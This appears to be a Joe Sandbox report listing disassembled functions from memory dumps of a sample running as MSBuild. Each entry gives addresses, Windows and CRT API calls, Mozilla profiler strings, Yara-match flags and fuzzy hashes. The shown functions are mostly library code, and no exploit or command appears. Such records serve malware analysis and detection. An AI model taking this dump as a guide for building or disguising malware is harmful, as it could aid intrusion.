Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: c96a2459e58cab3183c1e5f57f7917c01571234d0c316457041f4c546db88840
Instruction ID: bd959bd27a8892a7e6cc1c33da130fd95bb1e7bd818439faaa21083dfafa489f
Opcode Fuzzy Hash: c96a2459e58cab3183c1e5f57f7917c01571234d0c316457041f4c546db88840
Instruction Fuzzy Hash: AD21A171A0421A9FDB10CF69D8856DE77F5FF84308F044039E80997241EB759A998F92

Function 00425833 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00425841
_free.LIBCMT ref: 00425854

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 641b289af0baeaab8b9a5171f60c0491d104b74c17f1ced00544f24bd9ae676e
Instruction ID: 935c43270f4d77db60209791427c9bc320832430a8ecb60128fe957c4bbf0321
Opcode Fuzzy Hash: 641b289af0baeaab8b9a5171f60c0491d104b74c17f1ced00544f24bd9ae676e
Instruction Fuzzy Hash: 1511EB32B04A35ABCF217F36BC0475A37A4AF403A5F60443BF948DB251DA7CC99186AC

Function 6CC076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CC076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CC07705

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC07717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CC0778F,00000000,00000000,00000000,00000000), ref: 6CC07731
free.MOZGLUE(00000000), ref: 6CC07760

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 94ce67c3662b730bd1fc412f96db9e2ee82975dd55e94305cb88970281056e6e
Instruction ID: 9f867bc2900abe6ad0e49fb8919922bba3756471dce4d91e9f0ba2dbcc4b7e2b
Opcode Fuzzy Hash: 94ce67c3662b730bd1fc412f96db9e2ee82975dd55e94305cb88970281056e6e
Instruction Fuzzy Hash: E311C4B1A052156BE710AF7A8C44BABBEF8EF46394F044429F848E7300F771885487F2

Function 6CBE0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CBA3DEF), ref: 6CBE0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CBA3DEF), ref: 6CBE0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CBA3DEF), ref: 6CBE0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBE0D97, 6CBE0DBE
<jemalloc>, xrefs: 6CBE0D92, 6CBE0DB9

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0f99631d4ccc050bc85688e468e9c8212f7b0f237d3092a7b8539b2a0b4e1806
Instruction ID: 275f7834ceb0a7225a089e773e7aaf583cea356e7e7ba7dc51dcc65e17b2d07a
Opcode Fuzzy Hash: 0f99631d4ccc050bc85688e468e9c8212f7b0f237d3092a7b8539b2a0b4e1806
Instruction Fuzzy Hash: F0F0BB213903E423D62013696C05B5A256DE7C5FD4F248025FA05DE980EF54E800A766

Function 6CBF7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CBF75C4,?), ref: 6CBF762B

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CBF74D7,6CC015FC,?,?,?), ref: 6CBF7644
GetCurrentThreadId.KERNEL32 ref: 6CBF765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CBF74D7,6CC015FC,?,?,?), ref: 6CBF7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CBF74D7,6CC015FC,?,?,?), ref: 6CBF7677

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: a10ad1403254a342f65ec6d68879870cb5f6b0afcbd57712f96c040eb78a711f
Instruction ID: b7c34ad05f1baab90271c1aa08538d11b8d20cde1adbc88ac0eefe0fa8861aa7
Opcode Fuzzy Hash: a10ad1403254a342f65ec6d68879870cb5f6b0afcbd57712f96c040eb78a711f
Instruction Fuzzy Hash: E1F0AF71E20785ABD7008F21C898676B778FFEB259F215316F90552601E7B4A5D08BD0

Function 00426839 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426845

Part of subcall function 00424A74: __getptd_noexit.LIBCMT ref: 00424A77
Part of subcall function 00424A74: __amsg_exit.LIBCMT ref: 00424A84

__getptd.LIBCMT ref: 0042685C
__amsg_exit.LIBCMT ref: 0042686A
__lock.LIBCMT ref: 0042687A
__updatetlocinfoEx_nolock.LIBCMT ref: 0042688E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: 17361057c0d52ffbfdd5451dd0703f081e16a6d4bb330f32ad13174130427518
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: E7F09676F417309AD621BB7A7403B5E76A0AF00769F92425FF4106A2D2CF6C9980CA5D

Function 6CBCD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDCBE8: GetCurrentProcess.KERNEL32(?,6CBA31A7), ref: 6CBDCBF1
Part of subcall function 6CBDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBA31A7), ref: 6CBDCBFA

EnterCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD4F2
LeaveCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD50B

Part of subcall function 6CBACFE0: EnterCriticalSection.KERNEL32(6CC2E784), ref: 6CBACFF6
Part of subcall function 6CBACFE0: LeaveCriticalSection.KERNEL32(6CC2E784), ref: 6CBAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD52E
EnterCriticalSection.KERNEL32(6CC2E7DC), ref: 6CBCD690
LeaveCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD751

Strings

MOZ_CRASH(), xrefs: 6CBCD4BB

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4729ac5efae6a9ae07db11e9059c0ec49b625f717f1ba1d0788b321a47038057
Instruction ID: 9330e96fdcc92526a9af7ceee99cca82fd96cb9a1bd72a2520cf13cb307c5650
Opcode Fuzzy Hash: 4729ac5efae6a9ae07db11e9059c0ec49b625f717f1ba1d0788b321a47038057
Instruction Fuzzy Hash: BD51CD75B04B858FD314CF38C19061AB7F5EB89714F558A2ED5AAC7B84EB74E800CB92

Function 6CBF4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF4721

Strings

-%llu, xrefs: 6CBF4733
., xrefs: 6CBF476A
profiler-paused, xrefs: 6CBF46E4

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: cb3c681900c5d3c347c6af1ebec4b44a6d702f36c0b1d12339fbb09c58d5f280
Instruction ID: 19c92f03796ffabf8c4c5e1e5a94b2ea0ff422b8b3c8aecd437d831abbedc76b
Opcode Fuzzy Hash: cb3c681900c5d3c347c6af1ebec4b44a6d702f36c0b1d12339fbb09c58d5f280
Instruction Fuzzy Hash: 70416871E087489FCB08DF79D95219EBBF5EF85344F10863EE865A7B41EB3098098B42

Function 6CBF46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF4721

Part of subcall function 6CBA4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CBE3EBD,00000017,?,00000000,?,6CBE3EBD,?,?,6CBA42D2), ref: 6CBA4444

Strings

-%llu, xrefs: 6CBF4733
., xrefs: 6CBF476A
profiler-paused, xrefs: 6CBF46E4

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 681443fecc1a7a5ff4d67a0a0c4ab82588c836967e9f60d605a7f37100ba75cf
Instruction ID: 9f4ba97160c87fe81c4beaeba8acbc2a18441fabe6b22d324b0c9cea0cb5df94
Opcode Fuzzy Hash: 681443fecc1a7a5ff4d67a0a0c4ab82588c836967e9f60d605a7f37100ba75cf
Instruction Fuzzy Hash: DD316871F042484FCB0CCF6CD88129EBBE6DB89314F15813EE8159BB41EB7498098F91

Function 6CBFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBE3EBD,6CBE3EBD,00000000), ref: 6CBA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CBFB127), ref: 6CBFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CBFB4E4

Strings

pid:, xrefs: 6CBFB4DE

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 980e814fa700f1770dcaa98d5d4960ead6eb56ad09b1af63e98ffa61941b5caa
Instruction ID: ec88d603f70ffe6a05573a865b4ce18352fdacd2bc1f64f59a2bc9843f1b13fc
Opcode Fuzzy Hash: 980e814fa700f1770dcaa98d5d4960ead6eb56ad09b1af63e98ffa61941b5caa
Instruction Fuzzy Hash: 17310331A01248DFDB00DFA9D980AEEB7B5FF05318F540529D8A167B41D735E84ECBA2

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED2D
Part of subcall function 0042ED18: __CxxThrowException@8.LIBCMT ref: 0042ED42
Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED53

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 1419926136d60580067ac53f468ac34c9755c723ec9afb86ab4f57807058201c
Instruction ID: 755d422b0406570ec1b1ca0bb8a9fc170e0e76cf90744f0537cefae681ccfb55
Opcode Fuzzy Hash: 1419926136d60580067ac53f468ac34c9755c723ec9afb86ab4f57807058201c
Instruction Fuzzy Hash: 6331B632B503269BDB18EF69AC456EE77E29705311F51106FE520E7290D6BE9EC08B88

Function 004134D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004134F7
StrCmpCA.SHLWAPI(00000000,004367EC,?), ref: 00413523
strtok_s.MSVCRT ref: 00413589

Strings

yA, xrefs: 004134E9, 004134EC

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: yA
API String ID: 3330995566-454502181
Opcode ID: 0a5a2c7c2122c5fde08efb15dbd5b8a7581154b05120f6610f4b5857c0dd4555
Instruction ID: e25e2a4fac4fdaa3031c2764c7a521eb05de7460a47cf09186ea45e794858a97
Opcode Fuzzy Hash: 0a5a2c7c2122c5fde08efb15dbd5b8a7581154b05120f6610f4b5857c0dd4555
Instruction Fuzzy Hash: D6219571D00109BFCB18DF64C881ADABBADFF18705F11905BE809EB251E774DB858B98

Function 00413390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004133AF
StrCmpCA.SHLWAPI(00000000,004367E0,?), ref: 004133E8

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

strtok_s.MSVCRT ref: 00413424

Strings

2yA, xrefs: 004133A1, 004133A4

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: 2yA
API String ID: 348468850-663247701
Opcode ID: ab0f24262003b4c6fdb1df3be14b33564e9d911830fd1b95aa49f2419afa3619
Instruction ID: 530b5b9384520956d988ef5f9eef14088f7e00acaaf5feba0a58aa85cdec459f
Opcode Fuzzy Hash: ab0f24262003b4c6fdb1df3be14b33564e9d911830fd1b95aa49f2419afa3619
Instruction Fuzzy Hash: 74118171900115AFDB01DF54C945BDAB7BCBF1430AF119067E805EB192EB78EF988B98

Function 6CBEE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBEE577
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEE584
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CBEE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CBEE826, 6CBEE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CBEE655
MOZ_PROFILER_STARTUP, xrefs: 6CBEE5A1, 6CBEE5CC, 6CBEE5FF, 6CBEE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CBEE722, 6CBEE750, 6CBEE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CBEE777

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 8b7d47572f3438aca24cafc497ef9fe569405cac00ab4cd4b704106688b65a4c
Instruction ID: 9d14cd3bf7936b614549b96b411c2e74e5a891c6664a966dd2602090a058b179
Opcode Fuzzy Hash: 8b7d47572f3438aca24cafc497ef9fe569405cac00ab4cd4b704106688b65a4c
Instruction Fuzzy Hash: 4411C435A142A8DFCB009F18C448B5EBBF4FB89768F01061DF84657A50D7B8A805CBE1

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED2D
Part of subcall function 0042ED18: __CxxThrowException@8.LIBCMT ref: 0042ED42
Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED53

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

Strings

invalid string position, xrefs: 0040F288
string too long, xrefs: 0040F27D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: be79a2a7e9aaca69112733cb54712ed9ea9badf19c2d7797a33f7b9a263133be
